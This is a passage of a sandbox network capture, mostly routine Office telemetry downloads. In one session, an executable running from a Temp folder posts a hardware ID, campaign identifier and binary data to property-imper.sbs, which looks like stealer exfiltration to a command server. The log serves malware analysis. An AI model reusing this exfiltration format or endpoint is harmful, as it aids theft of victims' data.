2024-11-23 10:22:57 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	49914	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:56 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:57 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:56 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: ab1afa94-201e-0085-151a-3d34e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102256Z-178bfbc474bnwsh4hC1NYC2ubs00000004bg000000008ukm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:57 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.4	49918	172.67.162.84	443	5272	C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:56 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=TT3WQMMSFT741Y User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20419 Host: property-imper.sbs
2024-11-23 10:22:56 UTC	15331	OUT	Data Raw: 2d 2d 54 54 33 57 51 4d 4d 53 46 54 37 34 31 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 36 33 34 33 42 37 39 37 46 35 39 42 43 41 43 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 54 54 33 57 51 4d 4d 53 46 54 37 34 31 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 54 54 33 57 51 4d 4d 53 46 54 37 34 31 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 54 54 Data Ascii: --TT3WQMMSFT741YContent-Disposition: form-data; name="hwid"96343B797F59BCACD7CBBD6DF28D3732--TT3WQMMSFT741YContent-Disposition: form-data; name="pid"3--TT3WQMMSFT741YContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--TT
2024-11-23 10:22:56 UTC	5088	OUT	Data Raw: 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ?lrQMn 64F6(X&7~`aO
2024-11-23 10:22:57 UTC	1023	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=es4bc96tc3htmm5ob6ca80s3pe; expires=Wed, 19-Mar-2025 04:09:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mjpBVvJvwk9rAR1cZx%2FRasRfZEX2mv%2F%2FJ4lzKrysBV0FhGwE7pPDRnW%2BGEheqO6TMnzTGXZXmi5suBsf7PL05Ik%2BxyspHvzn%2BcAOsXc2UVLhlooNLhWY2ynWxX217dBiLh8yWqM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7070e6d82b8ccd-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1806&sent=18&recv=25&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21379&delivery_rate=1583514&cwnd=195&unsent_bytes=0&cid=aff4e926ddd893af&ts=913&x=0"
2024-11-23 10:22:57 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 10:22:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	49917	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:56 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:57 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:57 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: de9d050e-401e-0078-2067-3b4d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102257Z-178bfbc474bbcwv4hC1NYCypys00000004600000000067ph x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:57 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.4	49919	23.218.208.109	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:57 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-23 10:22:57 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=256212 Date: Sat, 23 Nov 2024 10:22:57 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-23 10:22:57 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	49921	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:58 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:58 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:58 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 2e331142-b01e-001e-697c-3b0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102258Z-174c587ffdfdwxdvhC1TEB1c4n00000002t000000000465r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:58 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	49922	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:58 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:58 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:58 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: cd486f0a-401e-0048-5b49-3c0409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102258Z-178bfbc474bwlrhlhC1NYCy3kg00000004e0000000000kry x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:58 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	49923	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:58 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:59 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:59 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 11fd19a1-001e-0046-3f80-3bda4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102258Z-174c587ffdfdwxdvhC1TEB1c4n00000002pg00000000cm7r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:59 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	49924	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:58 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:59 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:59 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 8c2dcc7a-801e-0035-158c-3b752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102259Z-174c587ffdfp4vpjhC1TEBybqw00000002wg000000001g21 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 10:22:59 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	49927	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:59 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:59 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:59 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 6b6acbbe-a01e-0021-3306-3d814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102259Z-178bfbc474bfw4gbhC1NYCunf400000004b0000000006syb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:59 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	49931	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:23:00 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:23:00 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:23:00 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: 24867866-a01e-0053-1264-3b8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102300Z-178bfbc474b9fdhphC1NYCac0n00000004b0000000001qbd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:23:00 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	49932	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:23:00 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:23:01 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:23:01 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 8149a5d6-a01e-001e-117b-3b49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102301Z-174c587ffdf7t49mhC1TEB4qbg00000002ug000000000h0z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
